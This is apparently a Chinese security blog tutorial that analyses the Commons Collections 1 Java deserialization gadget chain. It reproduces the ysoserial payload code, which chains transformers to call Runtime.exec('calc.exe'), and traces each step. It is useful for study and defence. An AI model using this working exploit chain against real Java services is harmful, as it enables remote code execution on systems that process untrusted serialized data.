freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Commons Collections 1反序列化利用链详解
小白LanB0 2024-12-17 21:05:13 156721
所属地 湖北省

前置知识

Apache Commons Collections

  • Apache Commons Collections 库库提供了一系列扩展的集合类,它可以帮助开发者更方便地处理各种数据集合相关的操作,并且提供了很多在 Java 标准集合框架(java.util包中的集合类)基础上的增强功能,比如开发时经常用到的CollectionUtils可以帮助我们进行集合的判空(isEmpty)

Proxy(代理)

什么是 Proxy(代理)

  • 在 Java 中,Proxy就像是一个中间人。想象一下,你想要和一个明星(真实的对象)联系,但是不能直接联系,这时候你可以通过经纪人(代理对象)来和明星沟通。在 Java 里,这个经纪人就是Proxy

  • Proxy代理主要用于在不修改原始类(被代理的类)代码的情况下,控制对这个类的访问或者增强这个类的功能。

Proxy 的工作机制

  • 创建代理对象

    • 首先,需要定义一个接口。这个接口就像是明星和经纪人之间的一个 “沟通协议”,规定了有哪些方法可以被调用。例如,明星有一个 “签名” 的方法,那么在接口里就会有一个对应的sign()方法。

    • 然后,使用Proxy类的newProxyInstance()方法来创建代理对象。这个方法需要三个参数:类加载器(可以简单理解为用来加载类的工具)、一个接口数组(就是刚刚说的那个 “沟通协议”)和一个InvocationHandler(这是真正干活的,后面会详细说)。

  • InvocationHandler的作用

    • InvocationHandler就像是经纪人的大脑,它决定了代理对象收到方法调用时该怎么做。当你通过代理对象调用一个方法时,实际上是InvocationHandlerinvoke()方法在处理这个调用。

    • 例如,当你让代理对象(经纪人)调用明星的 “签名” 方法时,invoke()方法可以在真正调用明星的 “签名” 方法之前,做一些额外的事情,比如检查你是否有资格让明星签名,或者在签名之后记录一下这次签名的情况。

    一个简单的例子

    interface Fans {
        void sign();
        boolean isVIP();
    }
    
    class indivialFans implements Fans {
        private boolean isVIP;
        @Override
        public void sign() {
            System.out.println("获得一个Star的【签名】");
        }
    
        @Override
        public boolean isVIP() {
            return isVIP;
        }
    
        public indivialFans(boolean isVIP) {
            this.isVIP = isVIP;
        }
    }
    
    class FansInvocationHandler implements InvocationHandler {
        private final Fans fans;
    
        public FansInvocationHandler(Fans fans) {
            this.fans = fans;
        }
    
        @Override
        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
            System.out.println("检测是否拥有签名资格");
            if (!fans.isVIP()) {
                System.out.println("没有资格,不能签名");
                return null;
            }
            Object result = method.invoke(fans, args);
            System.out.println("签名成功");
            return result;
        }
    }
    
    public class DemoApplication {
        public static void main(String[] args) {
            Fans fansA = new indivialFans(true);
            Fans fansB = new indivialFans(false);
            FansInvocationHandler handlerA = new FansInvocationHandler(fansA);
            FansInvocationHandler handlerB = new FansInvocationHandler(fansB);
            Fans aProxy = (Fans) Proxy.newProxyInstance(
                    fansA.getClass().getClassLoader(),
                    fansA.getClass().getInterfaces(),
                    handlerA);
            Fans bProxy = (Fans) Proxy.newProxyInstance(
                    fansB.getClass().getClassLoader(),
                    fansB.getClass().getInterfaces(),
                    handlerB);
            aProxy.sign();
            System.out.println("=====================================");
            bProxy.sign();
        }
    }
    
    /* 执行结果
    检测是否拥有签名资格
    获得一个Star的【签名】
    签名成功
    =====================================
    检测是否拥有签名资格
    没有资格,不能签名
    */
    

Commons Collections 1 反序列化链

环境项目:ysoserial CommonsCollections1

Gadget构造

// 在ysoserial CC1项目环境下
public class   extends PayloadRunner implements ObjectPayload<InvocationHandler> {
    public static void main(String[] args) throws Exception {
        String command = "calc.exe";
        final String[] execArgs = new String[] { command };
        
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });

        final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            // 获取Runtime.getRuntime()方法 (tips:这里获取的是Mehtod类型)
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            // 反射执行Runtime.getRuntime()方法,得到Runtime实例对象
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            // 执行 exec方法,完成rce
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

        final Map innerMap = new HashMap();

        //从get方法中触发transformerChain.transform
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        // 创建Map 代理,以便触发AnnotationInvocationHandler的invoke,再触发lazymap.get方法
        // tips: 该AnnotationInvocationHandler与下面的是两个实例对象,且作用不同,下文会讲到
        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

        // 创建AnnotationInvocationHandler代理handler
        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(handler);

        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        ois.readObject();
    }

Gadget链分析

前半段

​ 既然最终序列化的是AnnotationInvocationHandler,便从其readObject方法开始回溯

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    ...
    ...
    Iterator var4 = this.memberValues.entrySet().iterator();
    ...
    ...
}

​ 关注this.memberValues.entrySet()方法,这里需要注意,在整个反序列化过程中,会分先后顺序两次进入AnnotationInvocationHandler的readObject:

readObject调用栈

根据栈的运行机制"后进入的先调用",故先看后进入的readObject方法

​ 在Iterator var4 = this.memberValues.entrySet().iterator();的前一行打下断点。

​ 如果一行一行代码去分析,会很麻烦,而且IDEA对于某些方法的debug会出错,导致自己一不小心就绕进去。故回到ysoserial项目中去简单分析一下为什么要这样构造pop链。

​ 跟进Gadgets.createMemoizedInvocationHandler

public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
        return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        // public static final String ANN_INV_HANDLER_CLASS
    	// = "sun.reflect.annotation.AnnotationInvocationHandler"
    }

​ 发现是通过反射调用有参构造方法创建一个AnnotationInvocationHandler对象,并且传进去了2个参数,一个Override.class,一个被代理的Map(实际为LazyMap类型),跟进看一下它的构造方法

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

​ 到这我们可知关注的对象有两个,分别为type成员变量memberValue成员变量,回到刚才的readObject方法(栈顶的readObject),

栈顶的readObject

​ 可以看到其type为Override的class对象,memberValues为LazyMap,且在readObject方法中关于这两个变量的操作,只有一个构造行为和调用entrySet,并且追溯后发现最终调用的是被LazyMap修饰的HashMap.enTrySet(),和该项目构建的gadget没有联系。

​ 故直接跟进至后调用的AnnotationInvocationHandlerreadObject方法中,观察其成员属性

​ 此时memberValue为Proxy代理对象,而根据前置知识中提到的代理机制,对代理对象的任何方法前都会走到其handler中的invoke方法

​ 跟进AnnotationInvocationHandler.invoke方法,其var4为entrySet,也就是刚才readObject中调用的entrySet方法名,需要注意的是,现在的所处的AnnotationInvocationHandler已经不是刚才的handler了,而是Proxy map中的handler

// CommonsCollections1.java
// 作用是触发LazyMap.get,从而执行transformerChain
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

// AnnotationInvocationHandler,作用是在readObject中调用mapProxy.entrySet()以触发invoke,其自身的invoke不重要
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

// Gadgets.java
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
    // 这里用到了一个新的AnnotationInvocationHandler
    return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}

​ 此时memberValuesLazyMap,会根据switch分支调用自身的get方法

​ 跟进LazyMap.get方法

LazyMap.get方法

​ 这里的逻辑就比较简单明了,如果被修饰的HashMap里不存在方法名entrySet,就调用factory成员变量的transform方法,到此,CC1的前半段便结束了。

​ 梳理一下CC1的前半段都干了什么:

  1. 将一个单独的AnnotationInvocationHandler作为入口,在反序列化时调用其构造时传入的mapProxy的entrySet方法

  2. mapProxy触发拦截机制,进入invoke方法,根据"entrySet"方法名,switch将走到默认分支,执行LazyMap.get()

  3. LazyMap.get触发transformers的一连串执行

    前半段的调用链如下:

    // 独立的handler
    AnnotationInvocationHandler.readObject()->
    	mapProxy.entrySet()->
    		// mapProxy.handler
    		AnnotationInvocationHandler.invoke()->
    			Lazymap.get()->
    				transformerChain.transform()->
    ...
    

后半段

​ 后半部分的调用链没有特别的机制,但是逻辑会比较绕,涉及到多个反射套反射的操作

final Transformer transformerChain = new ChainedTransformer(
    new Transformer[]{ new ConstantTransformer(1) });

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),
    new InvokerTransformer("exec",
        new Class[] { String.class }, execArgs),
    new ConstantTransformer(1) };

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 

​ 这一部分从transformerChain.transform()开始,那么先看下ChainedTransformer的相关方法,主要涉及构造方法转换方法(transform)

public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

这里要看明白转换的逻辑,相当于是一个链式的转换,前一个transform的结果作为后一个transform的输入

​ 涉及到的2种transform方法如下:

// InvokerTransformer.class    
public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                InvocationTargetException ex = var7;
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
            }
        }
    }

// ConstantTransformer.class
public Object transform(Object input) {
    return this.iConstant;
}

​ ysoserial一共组装了5条转换器到达最终的RCE,从第一条开始分析

这里最好亲自debug头脑风暴一遍,赘述再多也不如亲自走一遍

​ 【0】ConstantTransformer.transform:直接返回Runtime.class这个class对象,很明确

​ 【1】InvokerTransformer.transform:

​ (1)拿到Class.class,通过反射获取Class.getMethod方法(Method类型);

​ (2)在【0】转换器返回的Runtime.class对象上反射调用(1)拿到的getMethod方法,最终获取Runtime.getRuntime方法 (Method类型)

【1】等效于return Runtime.class.getMethod("getRuntime")

20241217_6.jpg

​ 【2】InvokerTransformer.transform

​ (1)拿到Method.class,通过反射获取Method.invoke方法(Method类型)

​ (2)在【1】Runtime.getRuntime这个Method对象上反射调用**(1)中拿到的invoke方法,最终获取Runtime实例对象**(反射调用Runtime.getRuntime()方法的返回结果)

【2】等效于return Runtime.getRuntime()

​ 【3】InvokerTransformer.transform

​ (1)拿到Runtime.class,通过反射获取Runtime.exec方法(Method类型)

​ (2)在【2】Runtime实例对象上反射调用exec("calc")方法,到此完成RCE

【3】等效于return Runtime.getRuntime.exec("calc")

【4】ConstantTransformer的作用应该是实现逻辑闭环,不参与RCE过程

CC1后半部分的调用链如下:

ChainedTransformer.transform()->
    ConstantTransformer.transform()->
    	InvokerTransformer.transform()->Runtime.class.getMethod("getRuntime")
    		 InvokerTransformer.transform()-> Runtime.getRuntime()
    			 InvokerTransformer.transform()-> Runtime.getRuntime.exec("calc")

完整的Gadget链

// 独立的handler
AnnotationInvocationHandler.readObject()->
	mapProxy.entrySet()->
		// mapProxy.handler
		AnnotationInvocationHandler.invoke()->
			Lazymap.get()->
				transformerChain.transform()->
					ChainedTransformer.transform()->
    					ConstantTransformer.transform()->
    						InvokerTransformer.transform()->Runtime.class.getMethod("getRuntime")
    		 					InvokerTransformer.transform()-> Runtime.getRuntime()
    								 InvokerTransformer.transform()-> Runtime.getRuntime.exec("calc")
# java反序列化 # JAVA安全
本文为 小白LanB0 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
小白LanB0 LV.1
玩元梦之星的星宝加我
  • 3 文章数
  • 4 关注者
全面学习JNDI机制与注入
2023-10-06
基于LazyList的Scala反序列化漏洞透析(CVE-2022-36944)
2023-08-16
文章目录